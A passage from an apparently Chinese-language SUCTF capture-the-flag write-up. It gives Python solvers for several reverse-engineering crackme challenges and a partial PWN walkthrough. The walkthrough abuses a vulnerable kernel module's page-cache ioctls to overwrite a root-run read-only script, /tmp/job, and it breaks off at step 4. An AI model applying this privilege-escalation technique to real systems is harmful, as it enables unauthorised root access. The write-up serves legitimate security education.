            raise RuntimeError(f"failed to capture s0 for round {round_idx + 1}")
        return got["s0"]

    def run_with_values(self, values):
        arg = ",".join(f"{x:016d}" for x in values)
        return subprocess.run([self.exe_path, arg], capture_output=True, text=True)

def main():
    parser = argparse.ArgumentParser(description="Solve SU_West / Journey_to_the_West.exe")
    parser.add_argument(
        "--exe",
        default=r"d:\CTF\题目\赛题\SUCTF2\SU_West\SU_West\Journey_to_the_West.exe",
        help="Path to Journey_to_the_West.exe",
    )
    args = parser.parse_args()

    solver = WestSolver(args.exe)

    values = []
    for i in range(ROUND_COUNT):
        if i == 0:
            s0 = solver.initial_s0
        else:
            probe = values + [MIN_INPUT] * (ROUND_COUNT - len(values))
            s0 = solver.capture_s0_for_round(i, probe)

        x = solver.solve_round(i, s0)
        if not (MIN_INPUT <= x <= MAX_INPUT):
            raise RuntimeError(
                f"round {i + 1}: solved value out of allowed range: {x} ({hex(x)})"
            )
        values.append(x)
        print(f"[+] round {i + 1:02d}/{ROUND_COUNT} layer={solver.layer_order[i] + 1:02d} value={x}")

    print("\n[+] all 81 values solved. verifying...")
    result = solver.run_with_values(values)
    sys.stdout.write(result.stdout)
    if result.stderr:
        sys.stderr.write(result.stderr)

    line = None
    for ln in result.stdout.splitlines():
        if "flag:" in ln:
            line = ln.strip()
            break
    if line:
        print(f"\n[+] {line}")
    else:
        print("\n[!] no flag line found in output")

    print("\n[+] argv payload:")
    print(",".join(f"{x:016d}" for x in values))

if __name__ == "__main__":
    main()
SUCTF{y0u_h4v3_0v3rc0m3_81_d1ff1cu1t135}

SU_old_bin

解题过程

1. 样本识别

附件主文件是 attachment/old.bin。先做一层按字节异或 0x7f,得到 analysis/old_xor7f.bin

异或后文件头是 IMG0,并且能直接读出三段压缩流范围:

  • stream1: 偏移 0x2028,长度 0x4EEAC
  • stream2: 偏移 0x50ED4,长度 0x0BD0
  • stream3: 偏移 0x51AA4,长度 0x1408

对应文件:

  • analysis/stream1_off_2028.bin
  • analysis/stream2_off_50ed4.bin
  • analysis/stream3_off_51aa4.bin

2. 固件拆分

stream2stream3 都是 SMALLFW 自定义封装,里面再按 PART 切片:

  • stream2: PART:0:xz+zip:1856PART:1:xz+zip:928PART:2:xz+zip:1312
  • stream3: PART:0:xz+zip:2028PART:1:xz+zip:1712PART:2:gzip:472PART:3:xz:324

其中 stream2PART:2 只有 ZIP 本地文件头 19 字节(PK...),题目故意给的缺失段。这个分支可以继续做数据修复,但不是最短拿 flag 路径。


3. 入口定位

stream1 修成可分析 ELF(analysis/stream1_off_2028_patched.elf)后,主校验链路如下:

  • main: 0x120009E44

    Snipaste_2026-03-15_19-29-58

  • 上下文生成: sub_120007FF8

    Snipaste_2026-03-15_19-37-56

  • 核心校验: sub_120008658

  • 分组变换: sub_120009938

sub_120008658 的逻辑可以按四层看:

Snipaste_2026-03-15_19-30-36

  1. 输入补齐到 64 字节(不足部分用 17*i
  2. 一轮 v21 混淆(依赖 arr4/arr5/arr6
  3. 4 个 16 字节分组送入 sub_120009938
  4. 输出 64 字节与常量块比较(常量位于 qword_1200B7F48 - 6208

4. 关键修正

最初脚本卡在逆推空集,原因是 arr6 生成实现差了一个类型截断。

IDA 伪代码里这一句是:

*(_BYTE *)(v9[6] + j) = sub_120007230((unsigned __int8)(v2 ^ v6), (int)(j % 7 + 1));

重点是先 (unsigned __int8) 再旋转。脚本若直接旋转 64 位值,会把高位污染带进来,后续逆推集合会出现空集。

修正后,候选集合恢复正常,长度唯一候选为 64。


5. 逆向求解

逆推流程:

  1. 先逆 sub_120009938,把目标 64 字节还原到 v23
  2. 再逆 arr5/arr6/sbox 层,得到 v21_after
  3. 逆 6 轮字节混淆(前驱集合法),得到每一位输入候选集合 in_sets
  4. 用前缀约束 flag{ 选取可打印候选并前向回代校验

前向校验通过后得到最终 flag。


7. 解题脚本

#!/usr/bin/env python3
from __future__ import annotations

MASK32 = (1 << 32) - 1

SBOX_AES = bytes.fromhex('637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16')
TABLE256 = bytes.fromhex('48d690e9fecce13db716b614c228fb2c052b679a762abe04c3aa441326498606999c4250f491ef987a33540b43edcfac62e4b31ca9c908e89580df94fa758f3fa64707a7fcf37317ba83593c19e6854fa8686b81b27164da8bf8eb0f4b70569d351e240e5e6358d1a225227c3b01217887d40046579fd327524c3602e7a0c4c89eeabf8ad240c738b5a3f7f2cef96115a1e0ae5da49b341a55ad933230f58cb1e31df6e22e8266ca60c02923ab0d534e6fd5db3745defd8e2f03ff6a726d6c5b518d1baf92bbddbc7f11d95c411f105ad80ac13188a5cd7bbd2d74d012b8e5b4b08969974a0c96777e65b9f109c56ec68418f07dec3adc4d2079ee5f3ed7cb39')
TARGET64 = bytes.fromhex('d4f3c4f159300380e6e5da798a2f43c83cfd028cf61c10aa598b9ab294323b5639e3d8a42b84d57f92a6f84d6da292e50a2c20bba90d14f113c8f374f347d53b')
RK = [2727542678, 3741449865, 2577476410, 3290697982, 4148603830, 4164762864, 192124577, 1839423190, 411619634, 3622021296, 2095560306, 4201061763, 2340328833, 4129720260, 3238376069, 3108428327, 2297189942, 937519822, 381300997, 10879747, 1833203899, 3922829629, 161087214, 3862490404, 859574089, 2917106566, 2265723486, 2257913061, 1157459221, 803243511, 921559630, 2545998410, 2247025865, 1686316465, 1637683384, 3023469902]
ARR4 = [92, 17, 124, 161, 1, 22, 198, 12, 115, 46, 247, 255, 38, 4, 248, 78, 224, 161, 27, 73, 106, 21, 71, 242, 124, 50, 87, 117, 82, 37, 204, 74, 14, 243, 140, 210, 228, 73, 36, 226, 81, 237, 132, 7, 39, 71, 170, 6, 230, 150, 5, 0, 154, 139, 53, 6, 17, 78, 64, 180, 7, 186, 188, 205]
ARR5 = [5, 48, 35, 59, 12, 20, 4, 18, 63, 14, 11, 61, 62, 54, 37, 39, 53, 0, 47, 15, 49, 28, 21, 2, 13, 38, 1, 58, 42, 31, 26, 23, 24, 30, 8, 60, 50, 33, 29, 41, 45, 46, 55, 9, 25, 3, 51, 27, 57, 7, 44, 10, 22, 17, 40, 32, 43, 52, 19, 16, 56, 36, 6, 34]
ARR6 = [50, 60, 40, 128, 32, 0, 128, 16, 56, 200, 16, 32, 128, 128, 40, 100, 112, 240, 128, 128, 0, 150, 124, 32, 208, 192, 0, 0, 48, 180, 184, 240, 32, 128, 128, 118, 204, 168, 96, 96, 64, 128, 170, 112, 88, 80, 0, 64]
ROUND_V6 = [29, 43, 12, 23, 15, 1]

def u32(x: int) -> int:
    return x & MASK32

def rol32(x: int, n: int) -> int:
    x &= MASK32
    return ((x << n) | (x >> (32 - n))) & MASK32

def L_rot_xor(x: int, r: int) -> int:
    return rol32(x, r) ^ 0xDEADBEEF

def sub_009104(b: int, t256: bytes) -> int:
    return t256[(b + 55) & 0xFF]

def sub_009184(w: int, t256: bytes) -> int:
    b3 = (w >> 24) & 0xFF
    b2 = (w >> 16) & 0xFF
    b1 = (w >> 8) & 0xFF
    b0 = w & 0xFF
    return (
        (sub_009104(b3, t256) << 24)
        | (sub_009104(b2, t256) << 16)
        | (sub_009104(b1, t256) << 8)
        | sub_009104(b0, t256)
    )

def sub_0092E8(x: int) -> int:
    v1 = L_rot_xor(x, 15) ^ x
    return u32(v1 ^ L_rot_xor(x, 23) ^ 0xCAFEBABE)

def sub_009714(x: int) -> int:
    v1 = L_rot_xor(x, 3) ^ x
    v2 = v1 ^ L_rot_xor(x, 11)
    v3 = v2 ^ L_rot_xor(x, 19)
    return u32(v3 ^ L_rot_xor(x, 27) ^ 0x12345678)

def sub_0093A0(x: int, t256: bytes) -> int:
    return sub_0092E8(sub_009184(x, t256))

def sub_009810(x: int, t256: bytes) -> int:
    return sub_009714(sub_009184(x, t256))

def F_round(a0: int, a1: int, a2: int, a3: int, rk: int, t256: bytes) -> int:
    return u32((sub_009810(a1 ^ a2 ^ a3 ^ rk, t256) ^ a0) + 4919)

def block_encrypt(words: list[int], rk: list[int], t256: bytes) -> list[int]:
    s0, s1, s2, s3 = [u32(w ^ 0xAAAAAAAA) for w in words]
    for j in range(34):
        idx = (j & 0x1F) + 4
        newv = F_round(s0, s1, s2, s3, rk[idx], t256)
        s0, s1, s2, s3 = s1, s2, s3, newv
        if j in (8, 16, 24):
            s0 = u32(s0 ^ 0x55555555)
            s1 = u32(s1 ^ 0xAAAAAAAA)
    t = s0
    s0 = u32(s3 ^ 0x12345678)
    s3 = u32(t ^ 0x87654321)
    t = s1
    s1 = u32(s2 ^ 0xABCDEF01)
    s2 = u32(t ^ 0x10FEDCBA)
    return [s0, s1, s2, s3]

def block_decrypt(out_words: list[int], rk: list[int], t256: bytes) -> list[int]:
    s0_new, s1_new, s2_new, s3_new = [u32(x) for x in out_words]
    s3 = u32(s0_new ^ 0x12345678)
    s0 = u32(s3_new ^ 0x87654321)
    s2 = u32(s1_new ^ 0xABCDEF01)
    s1 = u32(s2_new ^ 0x10FEDCBA)

    for j in range(33, -1, -1):
        if j in (8, 16, 24):
            s0 = u32(s0 ^ 0x55555555)
            s1 = u32(s1 ^ 0xAAAAAAAA)
        idx = (j & 0x1F) + 4
        p1, p2, p3 = s0, s1, s2
        p0 = u32((s3 - 4919) ^ sub_009810(p1 ^ p2 ^ p3 ^ rk[idx], t256))
        s0, s1, s2, s3 = p0, p1, p2, p3

    return [u32(s0 ^ 0xAAAAAAAA), u32(s1 ^ 0xAAAAAAAA), u32(s2 ^ 0xAAAAAAAA), u32(s3 ^ 0xAAAAAAAA)]

def solve() -> str:
    v23 = bytearray(64)
    for bi in range(4):
        blk = TARGET64[16 * bi : 16 * bi + 16]
        out_words = [int.from_bytes(blk[4 * i : 4 * i + 4], 'big') for i in range(4)]
        in_words = block_decrypt(out_words, RK, TABLE256)
        for i, w in enumerate(in_words):
            v23[16 * bi + 4 * i : 16 * bi + 4 * i + 4] = w.to_bytes(4, 'big')

    inv_aes = [0] * 256
    for i, b in enumerate(SBOX_AES):
        inv_aes[b] = i

    v21_after = [0] * 64
    for j in range(64):
        t = v23[j] ^ ARR4[j]
        u = inv_aes[t]
        pos = ARR5[j] & 0x3F
        v21_after[pos] = u ^ ARR6[j % 48]

    v21_sets = [set([v21_after[j]]) for j in range(64)]
    for ri in range(5, -1, -1):
        v6 = ROUND_V6[ri]
        next_sets = []
        add_round = (13 * ri) & 0xFF
        for j in range(64):
            targets = v21_sets[j]
            add = (v6 + j + ri) & 0xFF
            preds = set()
            for b0 in range(256):
                b = b0 ^ add
                b = ((b << 1) | (b >> 7)) & 0xFF
                y = b ^ SBOX_AES[(b + add_round) & 0xFF]
                if y in targets:
                    preds.add(b0)
            next_sets.append(preds)
        v21_sets = next_sets

    in_sets = []
    for i in range(64):
        mask = (ARR4[(7 * i) & 0x3F] + i) & 0xFF
        in_sets.append({b ^ mask for b in v21_sets[i]})

    n_candidates = []
    for n in range(65):
        ok = True
        for i in range(n, 64):
            if ((17 * i) & 0xFF) not in in_sets[i]:
                ok = False
                break
        if ok:
            n_candidates.append(n)

    def verify_message(msg: bytes, n: int) -> bool:
        v21 = bytearray(64)
        for i in range(64):
            src = msg[i] if i < n else ((17 * i) & 0xFF)
            mask = (ARR4[(7 * i) & 0x3F] + i) & 0xFF
            v21[i] = src ^ mask
        for ri in range(6):
            v6 = ROUND_V6[ri]
            for j in range(64):
                v21[j] ^= (v6 + j + ri) & 0xFF
                v21[j] = ((v21[j] << 1) | (v21[j] >> 7)) & 0xFF
                v21[j] ^= SBOX_AES[(v21[j] + 13 * ri) & 0xFF]
        v23_fwd = bytearray(64)
        for j in range(64):
            t = (v21[ARR5[j] & 0x3F] ^ ARR6[j % 48]) & 0xFF
            v23_fwd[j] = SBOX_AES[t] ^ ARR4[j]
        v24 = bytearray(64)
        for bi in range(4):
            words = [int.from_bytes(v23_fwd[16 * bi + 4 * i : 16 * bi + 4 * i + 4], 'big') for i in range(4)]
            out = block_encrypt(words, RK, TABLE256)
            for i, w in enumerate(out):
                v24[16 * bi + 4 * i : 16 * bi + 4 * i + 4] = w.to_bytes(4, 'big')
        return bytes(v24) == TARGET64

    prefixes = [b'flag{', b'SUCTF{']
    for n in n_candidates:
        for pref in prefixes:
            if n < len(pref):
                continue
            if any(pref[i] not in in_sets[i] for i in range(len(pref))):
                continue
            cand = bytearray(n)
            for i in range(n):
                if i < len(pref):
                    cand[i] = pref[i]
                else:
                    printable = sorted(x for x in in_sets[i] if 32 <= x < 127)
                    cand[i] = printable[0] if printable else min(in_sets[i])
            if verify_message(bytes(cand), n):
                return bytes(cand).decode('ascii')

    raise RuntimeError('failed to reconstruct flag')

if __name__ == '__main__':
    print('[FLAG]', solve())

Flag

flag{3putis6omqi3u7034722576kpze4udduejoko8zr3e6ozvp8mosm6065q1}

SU_Revird

题目附件有两个文件:chal.exe 和 Revird.sys。

先看 chal.exe,很容易在一个分支里找到长度为 0x30 的异或校验,恢复出:

SUCTF{fake_flag_ohh_oh_fake_flag_oh_yeah_yeah!!}

fake flag。继续跟真正的校验分支,发现它是用一套自定义 AES 风格逻辑解密出第二阶段 PE。离线解密后得到 stage2.bin。

分析 stage2.bin 可见它会打开设备 \.\Revird,通过 DeviceIoControl 和驱动通信,并将输入经过一套块加密后与内置 64 字节目标值比较。驱动 Revird.sys 支持 0x222000,其命令 2/3/4/5/6 分别对应 SubBytes/ShiftRows/MixColumns/AddRoundKey 一类的 AES 轮操作。

关键点在于:stage2.bin 中通过异常处理器转发到真正的驱动逻辑。实现了一套魔改 AES-CBC。

继续还原后可知:

用户态有一套 key schedule

驱动也有一套 key schedule

实际轮密钥是两者逐字节异或

S-box 为自定义表

模式为 CBC,IV 固定

目标密文位于 stage2.bin 的比较常量区

按该算法逆向解密目标 64 字节密文,去掉 PKCS#7 padding,得到明文:

SUCTF{D0_y0U_unD3r5t4nd_Th15_m491c4l_435?_41218}

SU_MusicPlayer

该程序为Electron类型的程序,使用asar工具对其进行解包得到如下文件

image-20260316200759789

image-20260316201132549

分析一下sumv-browser.js有混淆直接丢给AI分析内容大致流程如下

  1. 将输入转为Uint8Array,确保长度至少16字节。
  2. 验证前4个字节是否为魔术字'SUMV',否则报错。
  3. 读取第5字节作为version,第7字节作为formatCode(第6字节和后续保留)。
  4. 以小端序读取第811字节作为uncompressedSize(解压后大小),第1215字节作为compressedSize(压缩数据大小)。
  5. 提取从偏移16开始的compressedSize字节作为压缩数据块。
  6. 调用_0x5bb006解压缩该数据块,得到uncompressedSize长度的中间数据。
  7. 对中间数据执行RC4解密(密钥'SUMUSICPLAYER'),得到最终载荷。
  8. 返回包含versionformatCodeisValid: truepayload(解密后的Uint8Array)的对象

继续分析native-bridge.js其中有两个加密placeholderVmEncrypt是一个假的算法,真正的算法在native模块vm_encryptor.node中,通过这个napi_register_module_v1发现里面在创建函数sub_180007380这个就是我们需要逆向的关键点

image-20260316204340128

读取输入并且校验传入的文件是不是一个RIFF(这个wav文件头)也就是说在Js层通过解压缩算法和RC4得到的结果就是一个wav,通过这个native层的加密得到了最后的加密文件,我们要获得wav文件的md5只需要逆Native层的加密即可

image-20260316204432528

校验通过后会调用sub_180001380对其加密,加密逻辑使用VM实现较为复杂请出AI大人分析

分块方式

去掉文件头 SVE4 后,body 按 64 字节一块处理。

明文 padding 规则是 PKCS7 风格,但块大小是 64:

pad = 64 - (len(data) % 64)
if pad == 0:
    pad = 64
data += bytes([pad]) * pad

每块按大端 32 位拆成 16 个 word

每个 64-byte block 拆成:

  • M[0..15]
  • 前 8 个 word 记为 L
  • 后 8 个 word 记为 R

初始链状态

INIT_STATE = [
    0x00010203, 0x04050607, 0x08090a0b, 0x0c0d0e0f,
    0x10111213, 0x14151617, 0x18191a1b, 0x1c1d1e1f
]

轮常量

BASE216 = 0x73756572
DELTA   = 0x70336364
C1      = 0x62616f7a
C2      = 0x6f6e6777
C3      = 0x696e6221

每块 4 轮

每轮先根据当前 state 派生 round key,再做可逆变换和 Feistel 混合。

轮密钥更新

K[0] = (rol32(K[1] ^ c216, 3)  + K[0]) & MASK
K[1] = (rol32(K[2] ^ K[0], 5)  + K[1]) & MASK
K[2] = (rol32(K[3] ^ K[1], 7)  + K[2]) & MASK
K[3] = (rol32(K[4] ^ K[2], 11) + K[3]) & MASK
K[4] = (rol32(K[5] ^ K[3], 13) + K[4]) & MASK
K[5] = (rol32(K[6] ^ K[4], 17) + K[5]) & MASK
K[6] = (rol32(K[7] ^ K[5], 19) + K[6]) & MASK
K[7] = (rol32(K[0] ^ K[6], 23) + K[7]) & MASK

派生子密钥

A0 = (K[0] ^ K[2] ^ c216) & MASK
A1 = (K[1] ^ K[3] ^ ((c216 + C1) & MASK)) & MASK
A2 = (K[4] ^ K[6] ^ ((c216 + C2) & MASK)) & MASK
A3 = (K[5] ^ K[7] ^ ((c216 + C3) & MASK)) & MASK

B0 = (K[0] + K[4]) & MASK
B1 = (K[1] + K[5]) & MASK
B2 = (K[2] + K[6]) & MASK
B3 = (K[3] + K[7]) & MASK

D0 = (K[0] ^ K[5]) & MASK
D1 = (K[1] ^ K[6]) & MASK
D2 = (K[2] ^ K[7]) & MASK
D3 = (K[3] ^ K[4]) & MASK

G 变换

R 按 4 组 pair 做:

a1 = ((ror32(a, 8) + b) & MASK) ^ A
b1 = rol32(b, 3) ^ a1

逆变换:

b = ror32(b1 ^ a1, 3)
a = rol32(((a1 ^ A) - b) & MASK, 8)

H 混合

我恢复出来的 8 个输出 word 是:

f0 = ((((R1[0] << 4) & MASK) ^ (R1[0] >> 5)) + R1[1]) & MASK
f0 = (f0 ^ ((c220 + B0) & MASK))
f0 = (f0 + (rol32(R1[3], 1) ^ (c220 >> 1))) & MASK

f1 = ((((R1[1] << 4) & MASK) ^ (R1[1] >> 5)) + R1[2]) & MASK
f1 = (f1 ^ ((c220 + B1) & MASK))
f1 = (f1 + (rol32(R1[4], 2) ^ (c220 >> 2))) & MASK

f2 = ((((R1[2] << 4) & MASK) ^ (R1[2] >> 5)) + R1[3]) & MASK
f2 = (f2 ^ ((c220 + B2) & MASK))
f2 = (f2 + (rol32(R1[5], 3) ^ (c220 >> 3))) & MASK

f3 = ((((R1[3] << 4) & MASK) ^ (R1[3] >> 5)) + R1[4]) & MASK
f3 = (f3 ^ ((c220 + B3) & MASK))
f3 = (f3 + (rol32(R1[6], 4) ^ (c220 >> 4))) & MASK

f4 = ((((R1[4] << 4) & MASK) ^ (R1[4] >> 5)) + R1[5]) & MASK
f4 = (f4 ^ ((c220 + D0) & MASK))
f4 = (f4 + (rol32(R1[7], 5) ^ (c220 >> 5))) & MASK

f5 = ((((R1[5] << 4) & MASK) ^ (R1[5] >> 5)) + R1[6]) & MASK
f5 = (f5 ^ ((c220 + D1) & MASK))
f5 = (f5 + (rol32(R1[0], 6) ^ (c220 >> 6))) & MASK

f6 = ((((R1[6] << 4) & MASK) ^ (R1[6] >> 5)) + R1[7]) & MASK
f6 = (f6 ^ ((c220 + D2) & MASK))
f6 = (f6 + (rol32(R1[1], 7) ^ (c220 >> 7))) & MASK

f7 = ((((R1[7] << 4) & MASK) ^ (R1[7] >> 5)) + R1[0]) & MASK
f7 = (f7 ^ ((c220 + D3) & MASK))
f7 = (f7 + (rol32(R1[2], 8) ^ (c220 >> 0))) & MASK

加密轮更新

R1 = G(R, A0, A1, A2, A3)
Fv = H(R1, subkeys)
newL = R1
newR = L ^ Fv

下一块链状态

每个密文块 C = L || R 生成下一块 state:

state_next[i] = C[i] ^ C[i + 8]

Exp:

from pathlib import Path
import struct
import hashlib
import sys

MASK = 0xffffffff

BASE216 = 0x73756572
DELTA = 0x70336364
C1 = 0x62616f7a
C2 = 0x6f6e6777
C3 = 0x696e6221

INIT_STATE = [
    0x00010203, 0x04050607, 0x08090a0b, 0x0c0d0e0f,
    0x10111213, 0x14151617, 0x18191a1b, 0x1c1d1e1f
]

def rol32(x, n):
    x &= MASK
    n &= 31
    return ((x << n) | (x >> (32 - n))) & MASK

def ror32(x, n):
    x &= MASK
    n &= 31
    return ((x >> n) | (x << (32 - n))) & MASK

def schedule_round(K, c216, c220):
    K = K[:]
    K[0] = (rol32(K[1] ^ c216, 3) + K[0]) & MASK
    K[1] = (rol32(K[2] ^ K[0], 5) + K[1]) & MASK
    K[2] = (rol32(K[3] ^ K[1], 7) + K[2]) & MASK
    K[3] = (rol32(K[4] ^ K[2], 11) + K[3]) & MASK
    K[4] = (rol32(K[5] ^ K[3], 13) + K[4]) & MASK
    K[5] = (rol32(K[6] ^ K[4], 17) + K[5]) & MASK
    K[6] = (rol32(K[7] ^ K[5], 19) + K[6]) & MASK
    K[7] = (rol32(K[0] ^ K[6], 23) + K[7]) & MASK

    A0 = (K[0] ^ K[2] ^ c216) & MASK
    A1 = (K[1] ^ K[3] ^ ((c216 + C1) & MASK)) & MASK
    A2 = (K[4] ^ K[6] ^ ((c216 + C2) & MASK)) & MASK
    A3 = (K[5] ^ K[7] ^ ((c216 + C3) & MASK)) & MASK

    B0 = (K[0] + K[4]) & MASK
    B1 = (K[1] + K[5]) & MASK
    B2 = (K[2] + K[6]) & MASK
    B3 = (K[3] + K[7]) & MASK

    D0 = (K[0] ^ K[5]) & MASK
    D1 = (K[1] ^ K[6]) & MASK
    D2 = (K[2] ^ K[7]) & MASK
    D3 = (K[3] ^ K[4]) & MASK

    return K, (A0, A1, A2, A3, B0, B1, B2, B3, D0, D1, D2, D3, c220)

def round_keys_for_state(state):
    K = state[:]
    c216 = BASE216
    c220 = 0
    rounds = []
    for add216 in [DELTA, DELTA + 1, DELTA + 2, DELTA + 3]:
        c216 = (c216 + add216) & MASK
        c220 = (c220 + DELTA) & MASK
        K, sub = schedule_round(K, c216, c220)
        rounds.append(sub)
    return rounds

def G(R, A0, A1, A2, A3):
    r = list(R)

    t = (ror32(r[0], 8) + r[1]) & MASK
    r[0] = (t ^ A0) & MASK
    r[1] = (rol32(r[1], 3) ^ r[0]) & MASK

    t = (ror32(r[2], 8) + r[3]) & MASK
    r[2] = (t ^ A1) & MASK
    r[3] = (rol32(r[3], 3) ^ r[2]) & MASK

    t = (ror32(r[4], 8) + r[5]) & MASK
    r[4] = (t ^ A2) & MASK
    r[5] = (rol32(r[5], 3) ^ r[4]) & MASK

    t = (ror32(r[6], 8) + r[7]) & MASK
    r[6] = (t ^ A3) & MASK
    r[7] = (rol32(r[7], 3) ^ r[6]) & MASK

    return r

def G_inv(R1, A0, A1, A2, A3):
    r = list(R1)

    b = ror32(r[1] ^ r[0], 3)
    a = rol32(((r[0] ^ A0) - b) & MASK, 8)
    r[0], r[1] = a, b

    b = ror32(r[3] ^ r[2], 3)
    a = rol32(((r[2] ^ A1) - b) & MASK, 8)
    r[2], r[3] = a, b

    b = ror32(r[5] ^ r[4], 3)
    a = rol32(((r[4] ^ A2) - b) & MASK, 8)
    r[4], r[5] = a, b

    b = ror32(r[7] ^ r[6], 3)
    a = rol32(((r[6] ^ A3) - b) & MASK, 8)
    r[6], r[7] = a, b

    return r

def H(R, sub):
    A0, A1, A2, A3, B0, B1, B2, B3, D0, D1, D2, D3, c220 = sub
    r = R

    f0 = (((((r[0] << 4) & MASK) ^ (r[0] >> 5)) + r[1]) & MASK)
    f0 = (f0 ^ ((c220 + B0) & MASK))
    f0 = (f0 + (rol32(r[3], 1) ^ (c220 >> 1))) & MASK

    f1 = (((((r[1] << 4) & MASK) ^ (r[1] >> 5)) + r[2]) & MASK)
    f1 = (f1 ^ ((c220 + B1) & MASK))
    f1 = (f1 + (rol32(r[4], 2) ^ (c220 >> 2))) & MASK

    f2 = (((((r[2] << 4) & MASK) ^ (r[2] >> 5)) + r[3]) & MASK)
    f2 = (f2 ^ ((c220 + B2) & MASK))
    f2 = (f2 + (rol32(r[5], 3) ^ (c220 >> 3))) & MASK

    f3 = (((((r[3] << 4) & MASK) ^ (r[3] >> 5)) + r[4]) & MASK)
    f3 = (f3 ^ ((c220 + B3) & MASK))
    f3 = (f3 + (rol32(r[6], 4) ^ (c220 >> 4))) & MASK

    f4 = (((((r[4] << 4) & MASK) ^ (r[4] >> 5)) + r[5]) & MASK)
    f4 = (f4 ^ ((c220 + D0) & MASK))
    f4 = (f4 + (rol32(r[7], 5) ^ (c220 >> 5))) & MASK

    f5 = (((((r[5] << 4) & MASK) ^ (r[5] >> 5)) + r[6]) & MASK)
    f5 = (f5 ^ ((c220 + D1) & MASK))
    f5 = (f5 + (rol32(r[0], 6) ^ (c220 >> 6))) & MASK

    f6 = (((((r[6] << 4) & MASK) ^ (r[6] >> 5)) + r[7]) & MASK)
    f6 = (f6 ^ ((c220 + D2) & MASK))
    f6 = (f6 + (rol32(r[1], 7) ^ (c220 >> 7))) & MASK

    f7 = (((((r[7] << 4) & MASK) ^ (r[7] >> 5)) + r[0]) & MASK)
    f7 = (f7 ^ ((c220 + D3) & MASK))
    f7 = (f7 + (rol32(r[2], 8) ^ (c220 >> 0))) & MASK

    return [f0, f1, f2, f3, f4, f5, f6, f7]

def words_from_bytes_be(block):
    return list(struct.unpack(">16I", block))

def bytes_from_words_be(words):
    return struct.pack(">" + "I" * len(words), *words)

def decrypt_block(words16, state):
    L = list(words16[:8])
    R = list(words16[8:])
    rounds = round_keys_for_state(state)

    for sub in reversed(rounds):
        R1 = L
        Fv = H(R1, sub)
        L_old = [(r ^ f) & MASK for r, f in zip(R, Fv)]
        R_old = G_inv(R1, *sub[:4])
        L, R = L_old, R_old

    P = L + R
    next_state = [(words16[i] ^ words16[i + 8]) & MASK for i in range(8)]
    return P, next_state

def unpad(data):
    if not data or len(data) % 64 != 0:
        raise ValueError("bad ciphertext length")
    p = data[-1]
    if p < 1 or p > 64 or data[-p:] != bytes([p]) * p:
        raise ValueError("bad padding")
    return data[:-p]

def decrypt_bytes(data):
    if len(data) % 64 != 0:
        raise ValueError("cipher body length must be multiple of 64")

    st = INIT_STATE[:]
    out = bytearray()

    for i in range(0, len(data), 64):
        w = words_from_bytes_be(data[i:i+64])
        p, st = decrypt_block(w, st)
        out += bytes_from_words_be(p)

    return unpad(bytes(out))

def main():
    if len(sys.argv) < 2:
        print(f"usage: python {sys.argv[0]} ddd.su_mv_enc [output.wav]")
        return

    in_path = Path(sys.argv[1])
    out_path = Path(sys.argv[2]) if len(sys.argv) > 2 else Path("decrypted.wav")

    blob = in_path.read_bytes()
    if not blob.startswith(b"SVE4"):
        raise ValueError("bad magic, expected SVE4")

    wav = decrypt_bytes(blob[4:])
    out_path.write_bytes(wav)

    md5 = hashlib.md5(wav).hexdigest()
    print("[+] output:", out_path)
    print("[+] md5   :", md5)
    print("[+] flag  : SUCTF{" + md5 + "}")

if __name__ == "__main__":
    main()

PWN

SU_Chronos_Ring1

题目在init脚本中启动了启动了一个后台死循环,以 root 权限每隔 3 秒执行一次 /tmp/job/tmp/job 是由 root 创建的,正常用户只能读不能写

echo "#!/bin/sh" > /tmp/job
echo "echo 'Root helper is running safely...'" >> /tmp/job
chmod 644 /tmp/job
(
    while true; do
        /bin/sh /tmp/job > /dev/null 2>&1
        sleep 3
    done
) &

而在漏洞模块中chronos_ioctl 实现了核心的状态机,包含了命令 40974106

  • 4097 (Init Buffer): 分配 Buffer 结构体,并分配一页物理内存(4096字节)。
  • 4098 (Secret Config): 接收用户数据,进行异或运算验证: ((unsigned int)v61 ^ src ^ ((unsigned __int64)&kfree >> 4) & 0xFFFFFFFFFFFE0000LL) != 0xF372FE94F82B3C6ELL 用户必须提供特定的值,该值与内核函数 kfree 的地址相关,验证通过后置位 ctx->flags |= 1
  • 4099 (Pin User Page): 使用 pin_user_pages_fast 将用户态的一个虚拟内存页锁定在物理内存中,防止被换出,并将指针保存在 Buffer 中。置位 ctx->flags |= 2
  • 4100 (Map File Cache): 从用户态接收一个文件描述符 (FD),通过 fget 获取 file 对象,并使用 read_cache_page 读取文件的页缓存。置位 ctx->flags |= 4
  • 4101 (Create View): 如果 ctx->flags 包含状态 2,则分配一个 View 结构。它根据当前状态,要么分配新内存页,要么引用已有的文件缓存页(Folio引用计数 _InterlockedIncrement)。
  • 4102 (Cleanup State): 清理特定的状态,减少引用计数 (fput, _folio_put),清除 ctx->flags 的特定位。
  • 4103 (Write Data): 从用户态拷贝数据到内核 Buffer 中。包含了越界检查。
  • 4104 (Sync View to Buffer): 使用 _rcu_read_lock() 保护,将 View 中的数据 memcpy 拷贝回主 Buffer 中。如果是文件缓存页,调用 set_page_dirty 标记脏页以便回写。
  • 4105 (Read State): 将当前的内部标志位(Flags, Sizes 等状态机信息)拷贝回用户空间。
  • 4106 (Free Buffer): 置空 ctx 中的指针,并调用 call_rcu(..., chronos_buf_rcu_cb) 进行异步的垃圾回收

我们可以利用漏洞模块来改写只读文件/tmp/job,使其以root权限执行我们的恶意脚本

  1. 打开目标文件:在用户态以只读权限打开文件:int fd = open("/tmp/job", O_RDONLY);
  2. 初始化 Buffer:调用 ioctl(dev_fd, 4097) 初始化 chronos_ring 的内核缓冲区。
  3. 绕过检查:调用 ioctl(dev_fd, 4098, &magic_data) 绕过基于 KASLR (kfree 地址) 的异或校验,我们可以使用爆破的方式破解检查。
  4. 绑定文件缓存:调用 ioctl(dev_fd, 4100, &fd),让内核模块获取 /tmp/job 的页缓存。
